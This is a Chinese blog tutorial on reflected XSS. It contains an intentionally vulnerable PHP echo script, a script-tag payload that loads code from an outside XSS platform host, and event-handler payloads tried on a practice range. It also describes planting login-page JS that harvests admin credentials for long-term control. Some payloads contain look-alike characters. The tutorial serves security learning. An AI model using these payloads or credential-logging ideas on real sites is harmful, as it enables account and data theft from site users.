反射性xss原理剖析

目錄

前言

正文

0x01:源碼分析

0x02 其他彈窗方式

1)僞協議彈窗

2)事件型彈窗

0x03 靶場實戰

 

0x04 其他常用事件

1)onfoucs

2)onmouseover

0x04 彈窗函數

0x05 拓展:

總結:


前言

跨站腳本攻擊。它指的是惡意攻擊者往Web頁面裏插入惡意html代碼,當用戶瀏覽該頁之時,嵌入其中Web裏面的html代碼會被執行,從而達到惡意的特殊目的。反射性XSS需要誘惑用戶點擊,纔可以利用,所以很多人不去注意
xss漏洞可以用來進行釣魚攻擊,前端js挖礦,用戶cookie獲取。甚至可以結合瀏覽器自身的漏洞對用戶主機進行遠程控制
 

簡單理解就是,xss拼接的是網頁的HTML代碼

總結:構造出合適的HTML代碼,去拼接頁面原有的代碼從而去執行惡意的JS語句

 

正文

0x01:源碼分析

首先是 1.html


<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gbk" /> 
<title>反射型xss</title>
</head>
<body>
<form action="2.php" method="get">
    <input type="text" name="a">
    <input type="submit">
</form>
</body>
</html>

然後是 2.php

<?php
    $xss = $_GET['a'];
    echo '你輸入的字符爲<br>'.$xss;
?>

 然後注意觀察,首先是執行1.html,提交查詢,然後會自動跳轉到2.php

點擊提交查詢

這時候我們審查元素,檢查元素

其實我們查詢的流程是在前端a的位置輸入,然後這個表單會提交到後端2.php

後端變量xss首先是以GET方式接受a的傳參,然後再echo的輸出

畫個流程圖也就這樣,如果可以去搭建個xss平臺,然後構造payload,然後讓瀏覽器偷偷的訪問

<script src="https://www.baidu.com"></script>

 

這裏以百度爲例,讓他去偷偷的去訪問百度,狀態碼 200,意思就是訪問成功了

這裏其實就是偷偷的去調用這個網址,爲什麼頁面上沒有顯示,因爲他被當做代碼執行了。所以沒有顯示

這時候我們看下xss平臺的payload

<sCRiPt/SrC=//xssye.com/aaaaa>

這裏其實就是訪問到 xssye.com 這個地址

這個是菜鳥上面的介紹 

(然而這裏是瀏覽器讀取,不是服務器讀取)

 

0x02 其他彈窗方式

其實<script></script> 這個是告訴我們中間的個js語句

比如我們單獨輸入alert(1),就彈不了窗

1)僞協議彈窗

上面是僞協議?

僞協議只要關聯應用才能使用(例如:php://  tencent://【關聯qq】)

javascript: 僞協議實際上聲明URL的主題是任意的javascript代碼

 

2)事件型彈窗

然而因爲現在的xss,大部分都是時間型彈窗,一般會過濾<,>,等等

事件型函數在這裏就可以看見了:事件型函數大全

常用的有:onerror,onload(成功加載執行),

oninput(有輸入框,輸入的時候觸發)

onfocus(獲取焦點觸發)

xss 作用於瀏覽器

js、html代碼 都是瀏覽器執行

 

0x03 靶場實戰

這裏借用掌控靶場

這裏審查元素,任何我們要先進行閉合,再彈窗

我們先看第一個輸出點,發現是在標籤內被轉碼了

這涼了,是不可以利用。這種情況的話是不可能打出xss了

這裏的話我們看到尖括號被轉義了

<input name=keyword  value=''>

被轉義的話就只能使用事件型進行彈窗。

構造payload:

<input name=keyword  value=''oninput=alert(1) //'>

閉合成功後,payload就是:' οninput=alert(1) //

這裏使用 oninput標籤,爲什麼用呢

因爲輸出點是form表單內,這樣我們就可以使用對應的事件型~~

意思是當元素獲取到用戶輸入的字符是,就會運行

所以我們隨便在框內輸入個a,就可以彈窗了

 

0x04 其他常用事件

1)onfoucs

' οnfοcus=alert(1) //  獲取焦點

什麼是獲取焦點,就是你鼠標點擊輸出點的那個地方,它獲取到了就會執行

' onfocus=alert(1) autofocus//

然而下面這個payload是自動獲取焦點,刷新一下就可以彈窗。 

 

2)onmouseover

' onmouseover=alert(1) //

和上面一樣,是當鼠標移動到框的時候進行彈窗

 

0x04 彈窗函數

1:alert()  常用

2:confirm() 

3:prompt() 

0x05 拓展:

在有 shell 的情況下,如何使用 xss 實現對目標站的長久控制? 

1)後臺登錄處加一段記錄登錄賬號密碼的 js,並且判斷是否登錄成功,如 果登錄成功,就把賬號密碼記錄到一個生僻的路徑的文件中或者直接發到自己的 網站文件中。

(2)在登錄後纔可以訪問的文件中插入 XSS 腳本

 

如果盲打xss返回的信息,顯示後臺在內網?

文章:使用csrf+xss組合拳

 

總結:

見框就插,這就是精髓

有時候文件上傳那邊可以插一下

 

 

 

 

 

 

 

 

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章